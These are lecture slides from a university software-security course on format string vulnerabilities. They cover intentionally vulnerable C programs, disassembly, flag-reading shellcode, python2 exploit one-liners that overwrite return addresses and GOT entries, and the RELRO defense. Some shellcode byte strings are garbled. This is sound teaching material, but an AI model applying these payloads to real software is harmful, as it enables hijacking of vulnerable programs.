

# **NEU CY 5770 Software Vulnerabilities and Security**

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## formats3: From format string vul to buffer overflow

```
int vulfoo()
{
    char buf1[100];
    char buf2[100];

    fgets(buf2, 99, stdin);
    sprintf(buf1, buf2);
    return 0;
}

int main() {
    return vulfoo();
}
```

Canary disabled; NX disabled

PRINTF(3)

Linux Programmer's Manual

PRINTF(3)

## NAME

printf, fprintf, dprintf, sprintf, snprintf, vprintf, vfprintf, vdprintf, vsprintf, vsnprintf - formatted output conversion

## SYNOPSIS

```
#include <stdio.h>
```

```
int printf(const char *format, ...);
int fprintf(FILE *stream, const char *format, ...);
int dprintf(int fd, const char *format, ...);
int sprintf(char *str, const char *format, ...);
int snprintf(char *str, size_t size, const char *format, ...);
```

```
#include <stdarg.h>
```

```
int vprintf(const char *format, va_list ap);
int vfprintf(FILE *stream, const char *format, va_list ap);
int vdprintf(int fd, const char *format, va_list ap);
int vsprintf(char *str, const char *format, va_list ap);
int vsnprintf(char *str, size_t size, const char *format, va_list ap);
```


Feature Test Macro Requirements for glibc (see [feature\\_test\\_macros\(7\)](#)):

```
snprintf(), vsnprintf():
    _XOPEN_SOURCE >= 500 || _ISOC99_SOURCE ||
    || /* Glibc versions <= 2.19: */ _BSD_SOURCE
```

```
dprintf(), vdprintf():
    Since glibc 2.10:
        _POSIX_C_SOURCE >= 200809L
    Before glibc 2.10:
        _GNU_SOURCE
```

# formats3

```
000011ed <vulfoo>:
11ed:  f3 0f 1e fb      endbr32
11f1:  55               push  ebp
11f2:  89 e5           mov   ebp,esp
11f4:  53             push  ebx
11f5:  81 ec d4 00 00 00 sub   esp,0xd4
11fb:  e8 f0 fe ff ff   call  10f0 <_x86.get_pc_thunk.bx>
1200:  81 c3 d0 2d 00 00 add   ebx,0x2dd0
1206:  8b 83 24 00 00 00 mov   eax,DWORD PTR [ebx+0x24]
120c:  8b 00           mov   eax,DWORD PTR [eax]
120e:  83 ec 04       sub   esp,0x4
1211:  50             push  eax
1212:  6a 63          push  0x63
1214:  8d 85 30 ff ff ff lea   eax,[ebp-0xd0]
121a:  50             push  eax
121b:  e8 60 fe ff ff   call  1080 <fgets@plt>
1220:  83 c4 10       add   esp,0x10
1223:  83 ec 08       sub   esp,0x8
1226:  8d 85 30 ff ff ff lea   eax,[ebp-0xd0]
122c:  50             push  eax
122d:  8d 45 94       lea   eax,[ebp-0x6c]
1230:  50             push  eax
1231:  e8 6a fe ff ff   call  10a0 <sprintf@plt>
1236:  83 c4 10       add   esp,0x10
1239:  b8 00 00 00 00   mov   eax,0x0
123e:  8b 5d fc       mov   ebx,DWORD PTR [ebp-0x4]
1241:  c9             leave
1242:  c3             ret
```



# Non-shell Shellcode 32bit printf flag (without 0s)

sendfile(1, open("/flag", 0), 0, 1000)

```
8049000: 6a 67      push 0x67
8049002: 68 2f 66 6c 61  push 0x616c662f
8049007: 31 c0      xor  eax,eax
8049009: b0 05      mov  al,0x5
804900b: 89 e3      mov  ebx,esp
804900d: 31 c9      xor  ecx,ecx
804900f: 31 d2      xor  edx,edx
8049011: cd 80      int  0x80
8049013: 89 c1      mov  ecx,eax
8049015: 31 c0      xor  eax,eax
8049017: b0 64      mov  al,0x64
8049019: 89 c6      mov  esi,eax
804901b: 31 c0      xor  eax,eax
804901d: b0 bb      mov  al,0xbb
804901f: 31 db      xor  ebx,ebx
8049021: b3 01      mov  bl,0x1
8049023: 31 d2      xor  edx,edx
8049025: cd 80      int  0x80
8049027: 31 c0      xor  eax,eax
8049029: b0 01      mov  al,0x1
804902b: 31 db      xor  ebx,ebx
804902d: cd 80      int  0x80
```

```
export SCODE=$(python2 -c "print '\x90'* sled size
+
'\x6a\x67\x68\x2f\x66\x6c\x61\x31\xc0\xb0\x05\x89\
xe3\x31\xc9\x31\xd2\xcd\x80\x89\xc1\x31\xc0\xb0\
x64\x89xc6\x31\xc0\xb0xbb\x31\xdb\xb3\x01\x31\
xd2\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80' ")
```

\x6a\x67\x68\x2f\x66\x6c\x61\x31\xc0\xb0\x05\x89\xe3\x31\xc9\x31\xd2\xcd\x80\x89\xc1\x31\xc0\xb0\x64\x89xc6\x31\xc0\xb0\xbb\x31\xdb\xb3\x01\x31\xd2\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80

# Exploit for format3 (shellcode in buffer)

Something like

```
python2 -c "print '%112d' + '\x??\x??\x??\x??' + '\x90'*?? +  
'\x6a\x67\x68\x2f\x66\x6c\x61\x31\xc0\x40\x40\x40\x40\x40\x89\xe3\x31\xc9\x31\  
xd2\xcd\x80\x89\xc1\x31\xf6\x66\xbe\x01\x01\x66\x4e\x31\xc0\xb0xbb\x31\xdb\x  
43\x31\xd2\xcd\x80\x31\xc0\x40xcd\x80' " > /tmp/exploit
```

```
cat /tmp/exploit | ./formats3
```

# formats3

## Capture the flag

### Sequential overwrite

```
int vulfoo()
{
    char buf1[100];
    char buf2[100];

    fgets(buf2, 99, stdin);
    sprintf(buf1, buf2);
    return 0;
}

int main() {
    return vulfoo();
}
```

# Formats5: overwrite global variable

```
int auth = 0;

int vulfoo()
{
    int stack = 0;

    asm ("mov %%ebp, %0\n\t"
        : "=r" (stack));

    printf("RET is at %x\n", stack + 4);

    char tmpbuf[512];
    fgets(tmpbuf, 510, stdin);

    printf(tmpbuf);
    return 0;}

int main() {
    vulfoo();

    if (auth)
        print_flag();}
```

Goal:


Call print\_flag() by  
overwriting auth



# formats5 32bit - call print\_flag

```
08049316 <vulfoo>:
8049316: f3 0f 1e fb      endbr32
804931a: 55              push  ebp
804931b: 89 e5           mov  ebp,esp
804931d: 53             push  ebx
804931e: 81 ec 14 02 00 00 sub  esp,0x214
8049324: e8 47 fe ff ff   call 8049170 <_x86.get_pc_thunk.bx>
8049329: 81 c3 d7 2c 00 00 add  ebx,0x2cd7
804932f: c7 45 f4 00 00 00 00 mov  DWORD PTR [ebp-0xc],0x0
8049336: 89 e8           mov  eax,ebp
8049338: 89 45 f4        mov  DWORD PTR [ebp-0xc],eax
804933b: 8b 45 f4        mov  eax,DWORD PTR [ebp-0xc]
804933e: 83 c0 04        add  eax,0x4
8049341: 83 ec 08        sub  esp,0x8
8049344: 50             push  eax
8049345: 8d 83 45 e0 ff ff lea  eax,[ebx-0x1fbb]
804934b: 50             push  eax
804934c: e8 5f fd ff ff   call 80490b0 <printf@plt>
8049351: 83 c4 10        add  esp,0x10
8049354: 8b 83 fc ff ff ff mov  eax,DWORD PTR [ebx-0x4]
804935a: 8b 00           mov  eax,DWORD PTR [eax]
804935c: 83 ec 04        sub  esp,0x4
804935f: 50             push  eax
8049360: 68 fe 01 00 00   push 0x1fe
8049365: 8d 85 f4 fd ff ff lea  eax,[ebp-0x20c]
804936b: 50             push  eax
804936c: e8 4f fd ff ff   call 80490c0 <fgets@plt>
8049371: 83 c4 10        add  esp,0x10
8049374: 83 ec 0c        sub  esp,0xc
8049377: 8d 85 f4 fd ff ff lea  eax,[ebp-0x20c]
804937d: 50             push  eax
804937e: e8 2d fd ff ff   call 80490b0 <printf@plt>
8049383: 83 c4 10        add  esp,0x10
8049386: b8 00 00 00 00   mov  eax,0x0
804938b: 8b 5d fc        mov  ebx,DWORD PTR [ebp-0x4]
804938e: c9             leave
804938f: c3             ret
```

ebp




# formats5 32bit - (When EIP is in vulfoo)

```
08049316 <vulfoo>:
8049316: f3 0f 1e fb      endbr32
804931a: 55              push  ebp
804931b: 89 e5           mov  ebp,esp
804931d: 53             push  ebx
804931e: 81 ec 14 02 00 00 sub  esp,0x214
8049324: e8 47 fe ff ff   call 8049170 <_x86.get_pc_thunk.bx>
8049329: 81 c3 d7 2c 00 00 add  ebx,0x2cd7
804932f: c7 45 f4 00 00 00 00 mov  DWORD PTR [ebp-0xc],0x0
8049336: 89 e8           mov  eax,ebp
8049338: 89 45 f4        mov  DWORD PTR [ebp-0xc],eax
804933b: 8b 45 f4        mov  eax,DWORD PTR [ebp-0xc]
804933e: 83 c0 04        add  eax,0x4
8049341: 83 ec 08        sub  esp,0x8
8049344: 50             push  eax
8049345: 8d 83 45 e0 ff ff lea  eax,[ebx-0x1fbb]
804934b: 50             push  eax
804934c: e8 5f fd ff ff   call 80490b0 <printf@plt>
8049351: 83 c4 10        add  esp,0x10
8049354: 8b 83 fc ff ff ff mov  eax,DWORD PTR [ebx-0x4]
804935a: 8b 00           mov  eax,DWORD PTR [eax]
804935c: 83 ec 04        sub  esp,0x4
804935f: 50             push  eax
8049360: 68 fe 01 00 00   push 0x1fe
8049365: 8d 85 f4 fd ff ff lea  eax,[ebp-0x20c]
804936b: 50             push  eax
804936c: e8 4f fd ff ff   call 80490c0 <fgets@plt>
8049371: 83 c4 10        add  esp,0x10
8049374: 83 ec 0c        sub  esp,0xc
8049377: 8d 85 f4 fd ff ff lea  eax,[ebp-0x20c]
804937d: 50             push  eax
804937e: e8 2d fd ff ff   call 80490b0 <printf@plt>
8049383: 83 c4 10        add  esp,0x10
8049386: b8 00 00 00 00   mov  eax,0x0
804938b: 8b 5d fc        mov  ebx,DWORD PTR [ebp-0x4]
804938e: c9             leave
804938f: c3             ret
```

Frame of  
vulfoo

ebp



0x20c = 524  
bytes

# formats5 32bit - (When EIP is in vulfoo)


```
08049316 <vulfoo>:
8049316: f3 0f 1e fb      endbr32
804931a: 55              push  ebp
804931b: 89 e5           mov   ebp,esp
804931d: 53             push  ebx
804931e: 81 ec 14 02 00 00 sub   esp,0x214
8049324: e8 47 fe ff ff   call  8049170 <_x86.get_pc_thunk.bx>
8049329: 81 c3 d7 2c 00 00 add   ebx,0x2cd7
804932f: c7 45 f4 00 00 00 00 mov   DWORD PTR [ebp-0xc],0x0
8049336: 89 e8           mov   eax,ebp
8049338: 89 45 f4        mov   DWORD PTR [ebp-0xc],eax
804933b: 8b 45 f4        mov   eax,DWORD PTR [ebp-0xc]
804933e: 83 c0 04        add   eax,0x4
8049341: 83 ec 08        sub   esp,0x8
8049344: 50             push  eax
8049345: 8d 83 45 e0 ff ff lea   eax,[ebx-0x1fbb]
804934b: 50             push  eax
804934c: e8 5f fd ff ff   call  80490b0 <printf@plt>
8049351: 83 c4 10        add   esp,0x10
8049354: 8b 83 fc ff ff ff mov   eax,DWORD PTR [ebx-0x4]
804935a: 8b 00           mov   eax,DWORD PTR [eax]
804935c: 83 ec 04        sub   esp,0x4
804935f: 50             push  eax
8049360: 68 fe 01 00 00  push  0x1fe
8049365: 8d 85 f4 fd ff ff lea   eax,[ebp-0x20c]
804936b: 50             push  eax
804936c: e8 4f fd ff ff   call  80490c0 <fgets@plt>
8049371: 83 c4 10        add   esp,0x10
8049374: 83 ec 0c        sub   esp,0xc
8049377: 8d 85 f4 fd ff ff lea   eax,[ebp-0x20c]
804937d: 50             push  eax
804937e: e8 2d fd ff ff   call  80490b0 <printf@plt>
8049383: 83 c4 10        add   esp,0x10
8049386: b8 00 00 00 00  mov   eax,0x0
804938b: 8b 5d fc        mov   ebx,DWORD PTR [ebp-0x4]
804938e: c9             leave
804938f: c3             ret
```

Frame of  
vulfoo

Frame of  
printf

Next  
data for  
the  
format  
string

[Address of auth],



# formats5 32bit - (EIP in printf)


```
08049316 <vulfoo>:
8049316: f3 0f 1e fb      endbr32
804931a: 55              push  ebp
804931b: 89 e5           mov  ebp,esp
804931d: 53             push  ebx
804931e: 81 ec 14 02 00 00 sub  esp,0x214
8049324: e8 47 fe ff ff   call 8049170 <_x86.get_pc_thunk.bx>
8049329: 81 c3 d7 2c 00 00 add  ebx,0x2cd7
804932f: c7 45 f4 00 00 00 00 mov  DWORD PTR [ebp-0xc],0x0
8049336: 89 e8          mov  eax,ebp
8049338: 89 45 f4       mov  DWORD PTR [ebp-0xc],eax
804933b: 8b 45 f4       mov  eax,DWORD PTR [ebp-0xc]
804933e: 83 c0 04       add  eax,0x4
8049341: 83 ec 08       sub  esp,0x8
8049344: 50             push  eax
8049345: 8d 83 45 e0 ff ff lea  eax,[ebx-0x1fbb]
804934b: 50             push  eax
804934c: e8 5f fd ff ff   call 80490b0 <printf@plt>
8049351: 83 c4 10       add  esp,0x10
8049354: 8b 83 fc ff ff ff mov  eax,DWORD PTR [ebx-0x4]
804935a: 8b 00          mov  eax,DWORD PTR [eax]
804935c: 83 ec 04       sub  esp,0x4
804935f: 50             push  eax
8049360: 68 fe 01 00 00  push  0x1fe
8049365: 8d 85 f4 fd ff ff lea  eax,[ebp-0x20c]
804936b: 50             push  eax
804936c: e8 4f fd ff ff   call 80490c0 <fgets@plt>
8049371: 83 c4 10       add  esp,0x10
8049374: 83 ec 0c       sub  esp,0xc
8049377: 8d 85 f4 fd ff ff lea  eax,[ebp-0x20c]
804937d: 50             push  eax
804937e: e8 2d fd ff ff   call 80490b0 <printf@plt>
8049383: 83 c4 10       add  esp,0x10
8049386: b8 00 00 00 00  mov  eax,0x0
804938b: 8b 5d fc       mov  ebx,DWORD PTR [ebp-0x4]
804938e: c9            leave
804938f: c3            ret
```

Frame of  
vulfoo

Next  
data for  
the  
format  
string

Frame of  
printf

[Address of auth], (%x)\*, %n



# Formats6: overwrite variables

```
int auth = 0;
int auth1 = 0;

int vulfoo()
{
    char tmpbuf[512];
    fgets(tmpbuf, 510, stdin);
    printf(tmpbuf);
    return 0;}

int main() {
    vulfoo();
    printf("auth = %d, auth1 = %d\n", auth, auth1);

    if (auth == 60 && auth1 == 80)
        print_flag();
}
```

Goal: Call print\_flag() by  
overwriting auth(s)

# Formats5: overwrite return address on stack

```
int auth = 0;

int vulfoo()
{
    int stack = 0;

    asm ("mov %%ebp, %0\n\t"
        : "=r" (stack));

    printf("RET is at %x\n", stack + 4);

    char tmpbuf[512];
    fgets(tmpbuf, 510, stdin);

    printf(tmpbuf);
    return 0;}

int main() {
    vulfoo();

    if (auth)
        print_flag();}
```

Goal:

Get the flag without  
overwriting auth

# Formats5: overwrite return address on stack

1. Overwrite the RET address on vulfoo's stack frame
  - a. **Challenge:** The address is 4 bytes. A big number. **Solution:** overwrite 1 byte a time instead of 4 bytes directly.
  - b. **Challenge:** The byte to be written could be a small number, but the printf already print more bytes than that. **Solution:** overflow the byte.

# formats5 32bit

```
08049316 <vulfoo>:
8049316: f3 0f 1e fb      endbr32
804931a: 55              push  ebp
804931b: 89 e5           mov  ebp,esp
804931d: 53             push  ebx
804931e: 81 ec 14 02 00 00 sub  esp,0x214
8049324: e8 47 fe ff ff   call 8049170 <_x86.get_pc_thunk.bx>
8049329: 81 c3 d7 2c 00 00 add  ebx,0x2cd7
804932f: c7 45 f4 00 00 00 00 mov  DWORD PTR [ebp-0xc],0x0
8049336: 89 e8          mov  eax,ebp
8049338: 89 45 f4       mov  DWORD PTR [ebp-0xc],eax
804933b: 8b 45 f4       mov  eax,DWORD PTR [ebp-0xc]
804933e: 83 c0 04       add  eax,0x4
8049341: 83 ec 08       sub  esp,0x8
8049344: 50            push  eax
8049345: 8d 83 45 e0 ff ff lea  eax,[ebx-0x1fbb]
804934b: 50            push  eax
804934c: e8 5f fd ff ff   call 80490b0 <printf@plt>
8049351: 83 c4 10       add  esp,0x10
8049354: 8b 83 fc ff ff ff mov  eax,DWORD PTR [ebx-0x4]
804935a: 8b 00          mov  eax,DWORD PTR [eax]
804935c: 83 ec 04       sub  esp,0x4
804935f: 50            push  eax
8049360: 68 fe 01 00 00  push  0x1fe
8049365: 8d 85 f4 fd ff ff lea  eax,[ebp-0x20c]
804936b: 50            push  eax
804936c: e8 4f fd ff ff   call 80490c0 <fgets@plt>
8049371: 83 c4 10       add  esp,0x10
8049374: 83 ec 0c       sub  esp,0xc
8049377: 8d 85 f4 fd ff ff lea  eax,[ebp-0x20c]
804937d: 50            push  eax
804937e: e8 2d fd ff ff   call 80490b0 <printf@plt>
8049383: 83 c4 10       add  esp,0x10
8049386: b8 00 00 00 00  mov  eax,0x0
804938b: 8b 5d fc       mov  ebx,DWORD PTR [ebp-0x4]
804938e: c9            leave
804938f: c3            ret
```

Frame of  
vulfoo

Next data for  
the  
format  
string

Frame of  
printf

4 bytes

RET = print\_flag()

Saved ebp

tmpbuf

Format string

0x20c = 524  
bytes

RET

Saved %ebp

[Address of auth], (%x)\*, %n



# Specifiers

A format specifier follows this prototype:

**%**[flags][width][.precision]**[length]**specifier

The *length* sub-specifier modifies the length of the data type. This is a chart showing the types used to interpret the corresponding arguments with and without *length* specifier (if a different type is used, the proper type promotion or conversion is performed, if allowed):

	specifiers						
<i>length</i>	<b>d i</b>	<b>u o x X</b>	<b>f F e E g G a A</b>	<b>c</b>	<b>s</b>	<b>p</b>	<b>n</b>
(none)	int	unsigned int	double	int	char*	void*	int*
hh	signed char	unsigned char					signed char*
h	short int	unsigned short int					short int*
l	long int	unsigned long int		wint_t	wchar_t*		long int*
ll	long long int	unsigned long long int					long long int*
j	intmax_t	uintmax_t					intmax_t*
z	size_t	size_t					size_t*
t	ptrdiff_t	ptrdiff_t					ptrdiff_t*
L			long double				

Note regarding the c specifier: it takes an int (or `wint_t`) as argument, but performs the proper conversion to a char value (or a `wchar_t`) before formatting it for output.

# Formats5: write on byte a time and integer overflow

```
ctf@formatstring_formats5_32:/$ python2 -c "print '\x8d\xd6\xff\xffAAAA\x8c\xd6\xff\xff%08x.%08x.%08x.%08x.%08x.%88d.%hhn%164d%hhn'" | ./formatstring_formats5_32
RET is at ffffd68c
AAAA000001fe.f7fbb580.08049329.080481b4.00000004.                                1094795585                                0.

The flag is: pwn_iot{MdRrT83eBN_vVM76e_Am83ij5So.QX1gDLzczW}

Segmentation fault (core dumped)
```

```
python2 -c "print '\x8c\xd6\xff\xff' +
'%08x'*5 + '%0134517258x' + '%n'" |
./formatstring_formats5_32
```

# Formats9: overwrite more variables with large values

```
int auth = 0;
int auth1 = 0;
int auth2 = 0;

int vulfoo()
{
    char tmpbuf[512];
    fgets(tmpbuf, 510, stdin);

    printf(tmpbuf);
    return 0;
}

int main() {
    vulfoo();

    printf("auth = %d, auth1 = %d\n, auth2 = %d", auth, auth1, auth2);

    if (auth == 0xdeadbeef && auth1 == 0xC0ffe && auth2 == 0xbeefface)
        print_flag();
}
```

# What to overwrite?

Code pointers that will be dereferenced

- Ret address on stack
- Function pointers
  - C++ vtable
  - .fini section
  - .got section

# Lazy Binding (.plt, .got, .got.plt Sections)

**Binding at Load Time:** When a binary is loaded into a process for execution, the dynamic linker resolves references to functions located in shared libraries. The addresses of shared functions were not known at compile time.

**In reality - Lazy Binding:** many of the relocations are typically not done right away when the binary is loaded but are deferred until the first reference to the unresolved location is actually made.

# Lazy Binding (.plt, .got, .got.plt Sections)

Lazy binding in Linux ELF binaries is implemented with the help of two special sections, called the Procedure Linkage Table ( .plt ) and the Global Offset Table ( .got ).

.plt is a code section that contains executable code. The PLT consists entirely of stubs of a well-defined format, dedicated to directing calls from the .text section to the appropriate library location.

.got.plt is a data section.

# Lazy Binding (.plt, .got, .got.plt Sections)

A dynamically linked ELF binary uses a look-up table called the Global Offset Table (GOT) to dynamically resolve functions that are located in shared libraries.

Such calls point to the Procedure Linkage Table (PLT), which is present in the .plt section of the binary. The .plt section contains x86 instructions that point directly to the GOT, which lives in the .got.plt section.

GOT normally contains pointers that point to the actual location of these functions in the shared libraries in memory.

# Lazy Binding (.plt, .got, .got.plt Sections)

The GOT is populated dynamically as the program is running. The first time a shared function is called, the GOT contains a pointer back to the PLT, where the dynamic linker is called to find the actual location of the function in question. The location found is then written to the GOT. The second time a function is called, the GOT contains the known location of the function. This is called “lazy binding.” This is because it is unlikely that the location of the shared function has changed and it saves some CPU cycles as well.




## Lazy Binding (.plt, .got, .got.plt Sections)

There are a few implications of the above. Firstly, PLT needs to be located at a fixed offset from the .text section. Secondly, since GOT contains data used by different parts of the program directly, it needs to be allocated at a known static address in memory. Lastly, and more importantly, because the GOT is lazily bound it needs to be writable.

Since GOT exists at a predefined place in memory, a program that contains a vulnerability allowing an attacker to write 4 bytes at a controlled place in memory (such as some integer overflows leading to out-of-bounds write), may be exploited to allow arbitrary code execution.

# Dynamically Resolving a Library Function Using the PLT



# formats12: overwriting .got

```
int main(int argc, char*argv[]) {  
    char buf[200];  
  
    printf("print_flag() is at %p\n", print_flag);  
  
    fgets(buf, 198, stdin);  
  
    printf(buf);  
  
    exit(0);  
}
```

Canary enabled; NX enabled; print\_flag in address space

# formats12: overwriting .got

```
→ formats12_32 objdump -R ./formats12_relo_32

./formats12_relo_32:      file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET      TYPE          VALUE
0804bffc    R_386_GLOB_DAT    __gmon_start__
0804c020    R_386_COPY        stdin@@GLIBC_2.0
0804bfd8    R_386_JUMP_SLOT   printf@GLIBC_2.0
0804bfdc    R_386_JUMP_SLOT   fgets@GLIBC_2.0
0804bfe0    R_386_JUMP_SLOT   fclose@GLIBC_2.1
0804bfe4    R_386_JUMP_SLOT   __stack_chk_fail@GLIBC_2.4
0804bfe8    R_386_JUMP_SLOT   fread@GLIBC_2.0
0804bfec    R_386_JUMP_SLOT   puts@GLIBC_2.0
0804bff0    R_386_JUMP_SLOT   exit@GLIBC_2.0
0804bff4    R_386_JUMP_SLOT   __libc_start_main@GLIBC_2.0
0804bff8    R_386_JUMP_SLOT   fopen@GLIBC_2.1
```

## overwriting exit()'s pointer

```
python2 -c "print
```

```
'\x24\xc0\x04\x08aaaa\x25\xc0\x04\x08\x08%08x.%08x.%08x.%08x.%08x.%08x.%08x.%??x.%hhn%??d%hhn''')
```

# Defense: RELRO

```
→ formats12_32 ../../../../software-security-course-code/checksec.sh --file ./formats12_relro_32
RELRO      STACK CANARY      NX      PIE      RPATH      RUNPATH      FILE
Full RELRO  Canary found      NX enabled      No PIE      No RPATH      No RUNPATH      ./formats12_relro_32
→ formats12_32 ../../../../software-security-course-code/checksec.sh --file ./formats12_32
RELRO      STACK CANARY      NX      PIE      RPATH      RUNPATH      FILE
Partial RELRO  Canary found      NX enabled      No PIE      No RPATH      No RUNPATH      ./formats12_32
```

## Defense: RELRO

The linker resolves all dynamically linked functions at the beginning of the execution, and then makes the GOT read-only. This technique is called RELRO and ensures that the GOT cannot be overwritten.

In partial RELRO, the non-PLT part of the GOT section (.got from readelf output) is read only but .got.plt is still writeable. Whereas in complete RELRO, the entire GOT (.got and .got.plt both) is marked as read-only.

Both partial and full RELRO reorder the ELF internal data sections to protect them from being overwritten in the event of a buffer-overflow, but only full RELRO mitigates the above mentioned technique of overwriting the GOT entry to get control of program execution.

## Other pointers: `.ctors`, `.init`, `.dtors`, `.fini`

Each ELF file compiled with GCC contains special sections notated as `“.dtors”` and `“.ctors”` or `“.init”` and `“.fini”` that are called destructors and constructors.

Constructor functions are called before the execution is passed to `main()` and destructors—after `main()` exits by using the system call `exit`.



# **Control-Flow Bending: On the Effectiveness of Control-Flow Integrity**

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<https://www.usenix.org/conference/usenixsecurity15/technical-sessions/presentation/carlini>